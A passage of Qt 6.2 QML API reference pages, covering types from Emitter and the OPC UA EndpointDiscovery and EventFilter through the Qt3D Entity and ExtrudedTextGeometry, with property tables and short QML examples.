 If this handler has already grabbed the given *point*, this signal is emitted when the grab is stolen by a different Pointer Handler or Item.

 **Note:** The corresponding handler is `onCanceled`.

 ###  grabChanged(GrabTransition *transition*, EventPoint *point*)

 This signal is emitted when the grab has changed in some way which is relevant to this handler.

 The *transition* (verb) tells what happened. The *point* (object) is the point that was grabbed or ungrabbed.

 **Note:** The corresponding handler is `onGrabChanged`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-draghandler.html>

Emitter QML Type
================

 Emits logical particles. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Particles |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-particles-emitter-members.html)

 Properties
----------

 * **[acceleration](qml-qtquick-particles-emitter#acceleration-prop)** : StochasticDirection
* **[emitRate](qml-qtquick-particles-emitter#emitRate-prop)** : real
* **[enabled](qml-qtquick-particles-emitter#enabled-prop)** : bool
* **[endSize](qml-qtquick-particles-emitter#endSize-prop)** : real
* **[group](qml-qtquick-particles-emitter#group-prop)** : string
* **[lifeSpan](qml-qtquick-particles-emitter#lifeSpan-prop)** : int
* **[lifeSpanVariation](qml-qtquick-particles-emitter#lifeSpanVariation-prop)** : int
* **[maximumEmitted](qml-qtquick-particles-emitter#maximumEmitted-prop)** : int
* **[shape](qml-qtquick-particles-emitter#shape-prop)** : Shape
* **[size](qml-qtquick-particles-emitter#size-prop)** : real
* **[sizeVariation](qml-qtquick-particles-emitter#sizeVariation-prop)** : real
* **[startTime](qml-qtquick-particles-emitter#startTime-prop)** : int
* **[system](qml-qtquick-particles-emitter#system-prop)** : ParticleSystem
* **[velocity](qml-qtquick-particles-emitter#velocity-prop)** : StochasticDirection
* **[velocityFromMovement](qml-qtquick-particles-emitter#velocityFromMovement-prop)** : qreal

 Signals
-------

 * **[emitParticles](qml-qtquick-particles-emitter#emitParticles-signal)**(Array *particles*)

 Methods
-------

 * **[burst](qml-qtquick-particles-emitter#burst-method-1)**(int *count*, int *x*, int *y*)
* **[burst](qml-qtquick-particles-emitter#burst-method)**(int *count*)
* **[pulse](qml-qtquick-particles-emitter#pulse-method)**(int *duration*)

 Detailed Description
--------------------

 This element emits logical particles into the [ParticleSystem](qml-qtquick-particles-particlesystem), with the given starting attributes.

 Note that logical particles are not automatically rendered, you will need to have one or more [ParticlePainter](qml-qtquick-particles-particlepainter) elements visualizing them.

 Note that the given starting attributes can be modified at any point in the particle's lifetime by any Affector element in the same [ParticleSystem](qml-qtquick-particles-particlesystem). This includes attributes like lifespan.

 Property Documentation
----------------------

 ###  acceleration : StochasticDirection

 The starting acceleraton of the particles emitted.

 ###  emitRate : [real](qml-real)

 Number of particles emitted per second.

 Default value is 10 particles per second.

 ###  enabled : [bool](qml-bool)

 If set to false, the emitter will cease emissions until it is set to true.

 Default value is true.

 ###  endSize : [real](qml-real)

 The size in pixels of the particles at the end of their life. Size will be linearly interpolated during the life of the particle from this value and size. If endSize is -1, then the size of the particle will remain constant at the starting size.

 Default value is -1.

 ###  group : [string](qml-string)

 This is the logical particle group which it will emit into.

 Default value is "" (empty string).

 ###  lifeSpan : [int](qml-int)

 The time in milliseconds each emitted particle should last for.

 If you do not want particles to automatically die after a time, for example if you wish to dispose of them manually, set lifeSpan to Emitter.InfiniteLife.

 lifeSpans greater than or equal to 600000 (10 minutes) will be treated as infinite. Particles with lifeSpans less than or equal to 0 will start out dead.

 Default value is 1000 (one second).

 ###  lifeSpanVariation : [int](qml-int)

 Particle lifespans will vary by up to this much in either direction.

 Default value is 0.

 ###  maximumEmitted : [int](qml-int)

 The maximum number of particles at a time that this emitter will have alive.

 This can be set as a performance optimization (when using burst and pulse) or to stagger emissions.

 If this is set to a number below zero, then there is no maximum limit on the number of particles this emitter can have alive.

 The default value is -1.

 ###  shape : [Shape](qml-qtquick-shapes-shape)

 This shape is applied with the size of the Emitter. Particles will be emitted randomly from any area covered by the shape.

 The default shape is a filled in rectangle, which corresponds to the full bounding box of the Emitter.

 ###  size : [real](qml-real)

 The size in pixels of the particles at the start of their life.

 Default value is 16.

 ###  sizeVariation : [real](qml-real)

 The size of a particle can vary by this much up or down from size/[endSize](qml-qtquick-particles-emitter#endSize-prop). The same random addition is made to both size and [endSize](qml-qtquick-particles-emitter#endSize-prop) for a single particle.

 Default value is 0.

 ###  startTime : [int](qml-int)

 If this value is set when the emitter is loaded, then it will emit particles from the past, up to startTime milliseconds ago. These will simulate as if they were emitted then, but will not have any affectors applied to them. Affectors will take effect from the present time.

 ###  system : [ParticleSystem](qml-qtquick-particles-particlesystem)

 This is the Particle system that the Emitter will emit into. This can be omitted if the Emitter is a direct child of the [ParticleSystem](qml-qtquick-particles-particlesystem)

 ###  velocity : StochasticDirection

 The starting velocity of the particles emitted.

 ###  velocityFromMovement : qreal

 If this value is non-zero, then any movement of the emitter will provide additional starting velocity to the particles based on the movement. The additional vector will be the same angle as the emitter's movement, with a magnitude that is the magnitude of the emitters movement multiplied by velocityFromMovement.

 Default value is 0.

 Signal Documentation
--------------------

 ###  emitParticles(Array *particles*)

 This signal is emitted when particles are emitted. *particles* is a JavaScript array of Particle objects. You can modify particle attributes directly within the handler.

  **Note:** JavaScript is slower to execute, so it is not recommended to use this in high-volume particle systems.

  **Note:** The corresponding handler is `onEmitParticles`.

 Method Documentation
--------------------

 ###  burst([int](qml-int) *count*, [int](qml-int) *x*, [int](qml-int) *y*)

 Emits a number of particles, specified by *count*, from this emitter immediately. The particles are emitted as if the Emitter was positioned at (*x*, *y*) but all other properties are the same.

 ###  burst([int](qml-int) *count*)

 Emits a number of particles, specified by *count*, from this emitter immediately.

 ###  pulse([int](qml-int) *duration*)

 If the emitter is not enabled, enables it for a specified *duration* (in milliseconds) and then switches it back off.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-particles-emitter.html>

EndpointDescription QML Type
============================

 The OPC UA EndpointDescription. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtOpcUa |
|  Since: |  QtOpcUa 5.13 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtopcua-endpointdescription-members.html)

 Properties
----------

 * **[MessageSecurityMode](qml-qtopcua-endpointdescription#MessageSecurityMode-prop)** : enumeration
* **[endpointUrl](qml-qtopcua-endpointdescription#endpointUrl-prop)** : string
* **[securityMode](qml-qtopcua-endpointdescription#securityMode-prop)** : MessageSecurityMode
* **[securityPolicy](qml-qtopcua-endpointdescription#securityPolicy-prop)** : string
* **[server](qml-qtopcua-endpointdescription#server-prop)** : ApplicationDescription
* **[userIdentityTokens](qml-qtopcua-endpointdescription#userIdentityTokens-prop)** : list<UserTokenPolicy>

 Detailed Description
--------------------

 An endpoint description contains information about an endpoint and how to connect to it.

 Property Documentation
----------------------

 ###  MessageSecurityMode : [enumeration](qml-enumeration)

 The security mode supported by the endpoint.

 

| Constant | Description |
| --- | --- |
| `Invalid` | The default value, will be rejected by the server. |
| `None` | No security. |
| `Sign` | Messages are signed but not encrypted. |
| `SignAndEncrypt` | Messages are signed and encrypted. |

 ###  endpointUrl : [string](qml-string)

 The URL for the endpoint.

 ###  securityMode : MessageSecurityMode

 Security mode supported by this endpoint.

 ###  securityPolicy : [string](qml-string)

 The URI of the security policy.

 ###  server : [ApplicationDescription](qml-qtopcua-applicationdescription)

 The application description of the server.

 ###  userIdentityTokens : [list](qml-list)<[UserTokenPolicy](qml-qtopcua-usertokenpolicy)>

 List of user identity tokens the endpoint will accept.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtopcua-endpointdescription.html>

EndpointDiscovery QML Type
==========================

 Provides information about available endpoints on a server. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtOpcUa |
|  Since: |  QtOpcUa 5.13 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtopcua-endpointdiscovery-members.html)

 Properties
----------

 * **[connection](qml-qtopcua-endpointdiscovery#connection-prop)** : Connection
* **[count](qml-qtopcua-endpointdiscovery#count-prop)** : int
* **[serverUrl](qml-qtopcua-endpointdiscovery#serverUrl-prop)** : string
* **[status](qml-qtopcua-endpointdiscovery#status-prop)** : Status

 Signals
-------

 * **[endpointsChanged](qml-qtopcua-endpointdiscovery#endpointsChanged-signal)**()

 Methods
-------

 * EndpointDescription **[at](qml-qtopcua-endpointdiscovery#at-method)**(*index*)

 Detailed Description
--------------------

 Allows to fetch and access information about available endpoints on a server.

 
```
QtOpcUa.Connection {
    id: connection
    backend: availableBackends[0]
    defaultConnection: true
}

QtOpcUa.ServerDiscovery {
    discoveryUrl: "opc.tcp://127.0.0.1:43344"
    onServersChanged: {
        if (status.isGood) {
            if (status.status == QtOpcUa.Status.GoodCompletesAsynchronusly)
                return; // wait until finished
            if (count > 0) {
                // choose right server
                endpointDiscovery.serverUrl = at(0).discoveryUrls[0];
                console.log("Using server URL:", endpointDiscovery.serverUrl);
            } else {
                // no servers retrieved
            }
        } else {
            // Fetching servers failed
            console.log("Error fetching server:", servers.status.status);
        }
    }
}

QtOpcUa.EndpointDiscovery {
    id: endpointDiscovery
    onEndpointsChanged: {
        if (status.isGood) {
            if (status.status == QtOpcUa.Status.GoodCompletesAsynchronusly)
                return; // wait until finished
            if (count > 0) {
                // choose right endpoint
                console.log("Using endpoint", at(0).endpointUrl, at(0).securityPolicy);
                connection.connectToEndpoint(at(0));
            } else {
                // no endpoints retrieved
            }
        } else {
            // Fetching endpoints failed
            console.log("Error fetching endpoints:", status.status);
        }
    }
}
```
 Property Documentation
----------------------

 ###  connection : [Connection](qml-qtopcua-connection)

 The connection to be used for requesting information.

 If this property is not set, the default connection will be used, if any.

 **See also** [Connection](qml-qtopcua-connection) and [Connection::defaultConnection](qml-qtopcua-connection#defaultConnection-prop).

 ###  count : [int](qml-int)

 Current number of endpoints in this element. Before using any data from an endpoint discovery, you should check [status](qml-qtopcua-endpointdiscovery#status-prop) if the information was successfully retrieved.

 **See also** [status](qml-qtopcua-endpointdiscovery#status-prop) and [Status](qml-qtopcua-status).

 ###  serverUrl : [string](qml-string)

 Discovery URL of the server to fetch the endpoints from. Every time the URL is changed, a request to the given server is started.

 When starting the request, the list of available endpoints is cleared and the status is set to [Status.GoodCompletesAsynchronously](qml-qtopcua-status#Status-propx). Once the request is finished, [status](qml-qtopcua-endpointdiscovery#status-prop) changes.

 Make sure to check [status](qml-qtopcua-endpointdiscovery#status-prop) before acessing the list of endpoints.

 **See also** [endpointsChanged](qml-qtopcua-endpointdiscovery#endpointsChanged-signal).

 ###  status : [Status](qml-qtopcua-status)

 The current status of this element. In case the last retrieval of endpoints was successful, the status is [Status.Good](qml-qtopcua-status#Status-propx).

 
```
if (endpoints.status.isGood) {
    // do something
} else {
    // handle error
}
```
 **See also** [Status](qml-qtopcua-status).

 Signal Documentation
--------------------

 ###  endpointsChanged()

 Emitted when a retrieval request started, finished or failed. In a called function, you should first check the [status](qml-qtopcua-endpointdiscovery#status-prop) of the object. If the status is [Status.GoodCompletesAsynchronously](qml-qtopcua-status#Status-propx), the request is still running. If the status is [Status.Good](qml-qtopcua-status#Status-propx), the request has finished and the endpoint descriptions can be read. If the status is not good, an error happended and [status](qml-qtopcua-endpointdiscovery#status-prop) contains the returned error code.

 
```
onEndpointsChanged: {
        if (endpoints.status.isGood) {
            if (endpoints.status.status == QtOpcua.Status.GoodCompletesAsynchronusly)
                return; // wait until finished
            if (enpoints.count > 0) {
                var endpointUrl = enpoints.at(0).endpointUrl();
                console.log(endpointUrl);
            }
        } else {
            // handle error
        }
}
```
 **Note:** The corresponding handler is `onEndpointsChanged`.

 **See also** [status](qml-qtopcua-endpointdiscovery#status-prop), [count](qml-qtopcua-endpointdiscovery#count-prop), [at](qml-qtopcua-endpointdiscovery#at-method), [Status](qml-qtopcua-status), and [EndpointDescription](qml-qtopcua-endpointdescription).

 Method Documentation
--------------------

 ###  [EndpointDescription](qml-qtopcua-endpointdescription) at(*index*)

 Returns the endpoint description at given *index*. In case there are no endoints available or the index is invalid, an invalid endpoint description is returned. Before using any data from this, you should check [status](qml-qtopcua-endpointdiscovery#status-prop) if retrieval of the information was successful.

 
```
if (endpoints.status.isGood) {
    if (endpoints.count > 0)
        var endpointUrl = endpoints.at(0).endpointUrl();
        console.log(endpointUrl);
} else {
    // handle error
}
```
 **See also** [count](qml-qtopcua-endpointdiscovery#count-prop), [status](qml-qtopcua-endpointdiscovery#status-prop), and [EndpointDescription](qml-qtopcua-endpointdescription).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtopcua-endpointdiscovery.html>

EnterKey QML Type
=================

 Provides a property to manipulate the appearance of Enter key on an on-screen keyboard. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Since: |  Qt 5.6 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-enterkey-members.html)

 Attached Properties
-------------------

 * **[type](qml-qtquick-enterkey#type-attached-prop)** : enumeration

 Detailed Description
--------------------

 The EnterKey attached property is used to manipulate the appearance and behavior of the Enter key on an on-screen keyboard.

 Attached Property Documentation
-------------------------------

 ###  EnterKey.type : [enumeration](qml-enumeration)

 Holds the type of the Enter key.

  **Note:** Not all of these values are supported on all platforms. For unsupported values the default key is used instead.

  

| Constant | Description |
| --- | --- |
| `Qt.EnterKeyDefault` | The default Enter key. This can be either a button to accept the input and close the keyboard, or a *Return* button to enter a newline in case of a multi-line input field. |
| `Qt.EnterKeyReturn` | Show a *Return* button that inserts a newline. |
| `Qt.EnterKeyDone` | Show a *"Done"* button. Typically, the keyboard is expected to close when the button is pressed. |
| `Qt.EnterKeyGo` | Show a *"Go"* button. Typically used in an address bar when entering a URL. |
| `Qt.EnterKeySend` | Show a *"Send"* button. |
| `Qt.EnterKeySearch` | Show a *"Search"* button. |
| `Qt.EnterKeyNext` | Show a *"Next"* button. Typically used in a form to allow navigating to the next input field without the keyboard closing. |
| `Qt.EnterKeyPrevious` | Show a *"Previous"* button. |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-enterkey.html>

EnterKey QML Type
=================

 Enter key for keyboard layouts. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.VirtualKeyboard |
|  Inherits: | [BaseKey](qml-qtquick-virtualkeyboard-basekey) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-enterkey-members.html)

 Properties
----------

 * **[actionId](qml-qtquick-virtualkeyboard-enterkey#actionId-prop)** : int

 Detailed Description
--------------------

 Sends an enter key for input method processing.

 Property Documentation
----------------------

 ###  [read-only] actionId : [int](qml-int)

 This property holds the action id for the enter key.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-enterkey.html>

EnterKeyAction QML Type
=======================

 Provides attached properties for customizing the enter key. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.VirtualKeyboard |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-enterkeyaction-members.html)

 Attached Properties
-------------------

 * **[actionId](qml-qtquick-virtualkeyboard-enterkeyaction#actionId-attached-prop)** : int
* **[enabled](qml-qtquick-virtualkeyboard-enterkeyaction#enabled-attached-prop)** : bool
* **[label](qml-qtquick-virtualkeyboard-enterkeyaction#label-attached-prop)** : string

 Detailed Description
--------------------

 The EnterKeyAction type provides attached properties which allows customizing the enter key button of the keyboard.

 The EnterKeyAction must be used directly inside the item receiving input focus, e.g. [TextInput](qml-qtquick-textinput).

 For example:

 
```
TextInput {
    id: myInput
    EnterKeyAction.enabled: myInput.text.length > 0 || myInput.inputMethodComposing
    EnterKeyAction.label: "Next"
    Keys.onReleased: {
        if (event.key === Qt.Key_Return) {
            // execute action
        }
    }
}
```
 Attached Property Documentation
-------------------------------

 ###  EnterKeyAction.actionId : [int](qml-int)

 Sets the action id for the enter key in virtual keyboard. When the action id is set, it takes preference over the label and sets the icon for the enter key.

 * `EnterKeyAction.None` No action defined.
* `EnterKeyAction.Go` Action performs go operation. For example taking user to the entered url.
* `EnterKeyAction.Search` Action performs search operation.
* `EnterKeyAction.Send` Action sends the entered text.
* `EnterKeyAction.Next` Action moves the input focus to the next field accepting text input.
* `EnterKeyAction.Done` Same as `EnterKeyAction.Next`, except all the text input is done.

 ###  EnterKeyAction.enabled : [bool](qml-bool)

 Enables or disables the enter key button in virtual keyboard.

 ###  EnterKeyAction.label : [string](qml-string)

 Sets the label for the enter key in virtual keyboard.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-virtualkeyboard-enterkeyaction.html>

Entity QML Type
===============

 Entity is a [Node](qml-qt3d-core-node) subclass that can aggregate several [Component3D](qml-qt3d-core-component3d) instances that will specify its behavior. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Core |
|  Since: |  Qt 5.5 |
|  Instantiates: | [QEntity](qt3dcore-qentity) |
|  Inherits: | [Node](qml-qt3d-core-node) |
|  Inherited By: | [Camera](qml-qt3d-render-camera), [EntityLoader](qml-qt3d-core-entityloader), [FirstPersonCameraController](qml-qt3d-extras-firstpersoncameracontroller), [LevelOfDetailLoader](qml-qt3d-render-levelofdetailloader), and [OrbitCameraController](qml-qt3d-extras-orbitcameracontroller) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-core-entity-members.html)

 Properties
----------

 * **[components](qml-qt3d-core-entity#components-prop)** : list<Component3D>

 Detailed Description
--------------------

 By itself a Entity is an empty shell. The behavior of a Entity object is defined by the [Component3D](qml-qt3d-core-component3d) objects it references. Each Qt3D backend aspect will be able to interpret and process an Entity by recognizing which components it is made up of. One aspect may decide to only process entities composed of a single [Transform](qml-qt3d-core-transform) component whilst another may focus on [MouseHandler](qml-qt3d-input-mousehandler).

 **See also** [Qt3D.Core::Component3D](qml-qt3d-core-component3d) and [Qt3D.Core::Transform](qml-qt3d-core-transform).

 Property Documentation
----------------------

 ###  [read-only] components : [list](qml-list)<[Component3D](qml-qt3d-core-component3d)>

 Holds the list of [Component3D](qml-qt3d-core-component3d) instances, which define the behavior of the entity.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-core-entity.html>

EntityLoader QML Type
=====================

 Provides a way to dynamically load an Entity subtree. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Core |
|  Since: |  Qt 5.5 |
|  Inherits: | [Entity](qml-qt3d-core-entity) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-core-entityloader-members.html)

 Properties
----------

 * **[entity](qml-qt3d-core-entityloader#entity-prop)** : QtQml::QtObject
* **[source](qml-qt3d-core-entityloader#source-prop)** : url
* **[status](qml-qt3d-core-entityloader#status-prop)** : Status

 Detailed Description
--------------------

 An EntityLoader provides the facitily to load predefined set of entities from qml source file. EntityLoader itself is an entity and the loaded entity tree is set as a child of the loader. The loaded entity tree root can be accessed with [EntityLoader::entity](qml-qt3d-core-entityloader#entity-prop) property.

 
```
EntityLoader {
    id: loader
    source: "./SphereEntity.qml"
}
```
 Property Documentation
----------------------

 ###  [read-only] entity : [QtQml::QtObject](qml-qtqml-qtobject)

 Holds the loaded entity tree root.

 This property allows access to the content of the loader. It references either a valid Entity object if the status property equals [EntityLoader](qml-qt3d-core-entityloader).Ready, it is equal to null otherwise.

 ###  source : [url](qml-url)

 Holds the source url.

 ###  status : Status

 Holds the status of the entity loader.

 * [EntityLoader](qml-qt3d-core-entityloader).Null
* [EntityLoader](qml-qt3d-core-entityloader).Loading
* [EntityLoader](qml-qt3d-core-entityloader).Ready
* [EntityLoader](qml-qt3d-core-entityloader).Error



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-core-entityloader.html>

enumeration QML Basic Type
==========================

 The `enumeration` type refers to a named enumeration value.

 Each named value can be referred to as `<Type>.<value>`. For example, the [Text](qml-qtquick-text) type has an `AlignRight` enumeration value:

 
```
Text { horizontalAlignment: Text.AlignRight }
```
 (For backwards compatibility, the enumeration value may also be specified as a string, e.g. "AlignRight". This form is not recommended for new code.)

 When integrating with C++, note that any `enum` value [passed into QML from C++](qtqml-cppintegration-data) is automatically converted into an `enumeration` value, and vice-versa.

 This basic type is provided by the QML language. Some enumeration values are provided by the [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html) import.

 Using the enumeration Type in QML
---------------------------------

 The `enumeration` type is a representation of a C++ `enum` type. It is not possible to refer to the `enumeration` type in QML itself; instead, the [int](qml-int) or [var](qml-var) types can be used when referring to `enumeration` values from QML code.

 For example:

 
```
import QtQuick 2.0

Item {
    // refer to Text.AlignRight using an int type
    property int enumValue: textItem.horizontalAlignment

    signal valueEmitted(int someValue)

    Text {
        id: textItem
        horizontalAlignment: Text.AlignRight
    }

    // emit valueEmitted() signal, which expects an int, with Text.AlignRight
    Component.onCompleted: valueEmitted(Text.AlignRight)
}
```
 **See also** [QML Basic Types](qtqml-typesystem-basictypes) and [Enumeration Attributes](qtqml-syntax-objectattributes#enumeration-attributes).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-enumeration.html>

EnvironmentLight QML Type
=========================

 Encapsulate an environment light object in a Qt 3D scene. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.9 |
|  Instantiates: | [QEnvironmentLight](qt3drender-qenvironmentlight) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-environmentlight-members.html)

 Properties
----------

 * **[irradiance](qml-qt3d-render-environmentlight#irradiance-prop)** : Texture
* **[specular](qml-qt3d-render-environmentlight#specular-prop)** : Texture

 Detailed Description
--------------------

 EnvironmentLight uses cubemaps to implement image-based lighting (IBL), a technique often used in conjunction with physically-based rendering (PBR). The cubemaps are typically expected be based on high dynamic range (HDR) images, with a suitable OpenGL format (such as RGBA16F) that can handle the increased range of values.

 There are a variety of tools that can be used to produce the cubemaps needed by EnvironmentLight. Some examples include

 * [cmftStudio](https://github.com/dariomanesku/cmftStudio)
* [IBLBaker](https://github.com/derkreature/IBLBaker)
* [Lys](https://www.knaldtech.com/lys/)

 [HDRI Haven](https://hdrihaven.com/hdris/) provides many CC0-licensed HDR images that can be used as source material for the above tools.

 Property Documentation
----------------------

 ###  irradiance : Texture

 Holds the current environment irradiance map texture.

 By default, the environment irradiance texture is null.

  **Note:** The exact meaning and use of this property is up to the material implementation.

  ###  specular : Texture

 Holds the current environment specular map texture.

 By default, the environment specular texture is null.

  **Note:** The exact meaning and use of this property is up to the material implementation.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-environmentlight.html>

EventConnection QML Type
========================

 Connects to events sent out by state machines. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtScxml |
|  Since: |  QtScxml 5.8 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtscxml-eventconnection-members.html)

 Properties
----------

 * **[events](qml-qtscxml-eventconnection#events-prop)** : stringlist
* **[stateMachine](qml-qtscxml-eventconnection#stateMachine-prop)** : ScxmlStateMachine

 Signals
-------

 * **[occurred](qml-qtscxml-eventconnection#occurred-signal)**(*event*)

 Detailed Description
--------------------

 To receive a notification when a state machine sends out an event, a connection can be created to the corresponding signal.

 Property Documentation
----------------------

 ###  events : stringlist

 The list of SCXML event specifiers that describe the events to listen for.

 Even though spaces are allowed in event specifications in SCXML documents, they are not allowed in this list. However, the list can contain multiple specifiers, to the same effect.

 ###  stateMachine : [ScxmlStateMachine](qml-qtscxml-scxmlstatemachine)

 The state machine that sends out the event.

 Signal Documentation
--------------------

 ###  occurred(*event*)

 This signal is emitted when the event *event* occurrs.

 The corresponding signal handler is `onOccurred`.

 **Note:** The corresponding handler is `onOccurred`.

 **See also** [QScxmlEvent](qscxmlevent).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtscxml-eventconnection.html>

EventFilter QML Type
====================

 Defines an EventFilter for a monitored item. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtOpcUa |
|  Since: |  QtOpcUa 5.13 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtopcua-eventfilter-members.html)

 Properties
----------

 * **[select](qml-qtopcua-eventfilter#select-prop)** : list<SimpleAttributeOperand>
* **[where](qml-qtopcua-eventfilter#where-prop)** : list<FilterElement>

 Detailed Description
--------------------

 An event filter is required for monitoring events on the server. It consists of `select` clauses and a `where` clause.

 The `select` clauses are used to specify the data the user wants to receive when an event occurs. It consists of [SimpleAttributeOperand](qml-qtopcua-simpleattributeoperand) simple attribute operands which select attributes of child nodes of an event type, for example the value attribute of the "Message" property of BaseEventType.

 The `where` clause is used to restrict the reported events by matching against certain criteria. Several operators and four different operand types allow filtering based on the values of the attributes of the child nodes of an event type.

 The select clause consists of an array of [SimpleAttributeOperand](qml-qtopcua-simpleattributeoperand). The where clause consists of an array of [SimpleAttributeOperand](qml-qtopcua-simpleattributeoperand), [LiteralOperand](qml-qtopcua-literaloperand), [ElementOperand](qml-qtopcua-elementoperand) or [AttributeOperand](qml-qtopcua-attributeoperand).

 The following EventFilter tells the server to report the value of the "Message" field for events that have a "Severity" field with value >= 500:

 
```
import QtOpcUa 5.13 as QtOpcUa
QtOpcUa.Node {
    ...

    eventFilter: QtOpcUa.EventFilter {
        select: [
                  QtOpcUa.SimpleAttributeOperand {
                    browsePath: [
                                  QtOpcUa.NodeId {
                                      identifier: "Severity"
                                      ns: "http://opcfoundation.org/UA/"
                                  }
                                ]
                  },
                  QtOpcUa.SimpleAttributeOperand {
                    browsePath: [
                                  QtOpcUa.NodeId {
                                      identifier: "Message"
                                      ns: "http://opcfoundation.org/UA/"
                                  }
                                ]
                  }
        ]

        where: [
            QtOpcUa.FilterElement {
                operator: QtOpcUa.FilterElement.GreaterThanOrEqual
                firstOperand: QtOpcUa.SimpleAttributeOperand {
                    browsePath: [
                                  QtOpcUa.NodeId {
                                      identifier: "Severity"
                                      ns: "http://opcfoundation.org/UA/"
                                  }
                                ]
                }
                secondOperand: QtOpcUa.LiteralOperand {
                                value: 700
                                type: QtOpcUa.Constants.UInt16
                 }
            }
        ]
    }
}
```
 For a more complex example with two conditions, see [QOpcUaElementOperand](qopcuaelementoperand).

 **See also** [FilterElement](qml-qtopcua-filterelement).

 Property Documentation
----------------------

 ###  select : [list](qml-list)<[SimpleAttributeOperand](qml-qtopcua-simpleattributeoperand)>

 Selected event fields that shall be included when a new event is reported.

 ###  where : [list](qml-list)<[FilterElement](qml-qtopcua-filterelement)>

 Content filter used to restrict the reported events to events matching certain criteria.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtopcua-eventfilter.html>

ExtrudedTextGeometry QML Type
=============================

 ExtrudedTextGeometry allows creation of a 3D text in 3D space. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Instantiates: | [QExtrudedTextGeometry](qt3dextras-qextrudedtextgeometry) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-extras-extrudedtextgeometry-members.html)

 Properties
----------

 * **[depth](qml-qt3d-extras-extrudedtextgeometry#depth-prop)** : float
* **[font](qml-qt3d-extras-extrudedtextgeometry#font-prop)** : QFont
* **[indexAttribute](qml-qt3d-extras-extrudedtextgeometry#indexAttribute-prop)** : Attribute
* **[normalAttribute](qml-qt3d-extras-extrudedtextgeometry#normalAttribute-prop)** : Attribute
* **[positionAttribute](qml-qt3d-extras-extrudedtextgeometry#positionAttribute-prop)** : Attribute
* **[text](qml-qt3d-extras-extrudedtextgeometry#text-prop)** : QString

 Detailed Description
--------------------

 The ExtrudedTextGeometry type is most commonly used internally by the [ExtrudedTextMesh](qml-qt3d-extras-extrudedtextmesh) type but can also be used in custom [GeometryRenderer](qml-qt3d-render-geometryrenderer) types.

 The origin of the geometry is the rear left end of the text's baseline.

 Property Documentation
----------------------

 ###  depth : float

 Holds the extrusion depth of the text.

 ###  font : QFont

 Holds the font of the text.

 The geometry is normalized by the font's pointSize, so a larger pointSize will result in smoother, rather than larger, text. pixelSize should not be used.

 ###  indexAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry index attribute.

 ###  normalAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry normal attribute.

 ###  positionAttribute : [Attribute](qml-qt3d-core-attribute)

 Holds the geometry position attribute.

 ###  text : QString

 Holds the text used for the mesh.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-extras-extrudedtextgeometry.html>

ExtrudedTextMesh QML Type
=========================

 A 3D extruded Text mesh. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Extras |
|  Instantiates: | [QExtrudedTextMesh](qt3dextras-qextrudedtextmesh) |


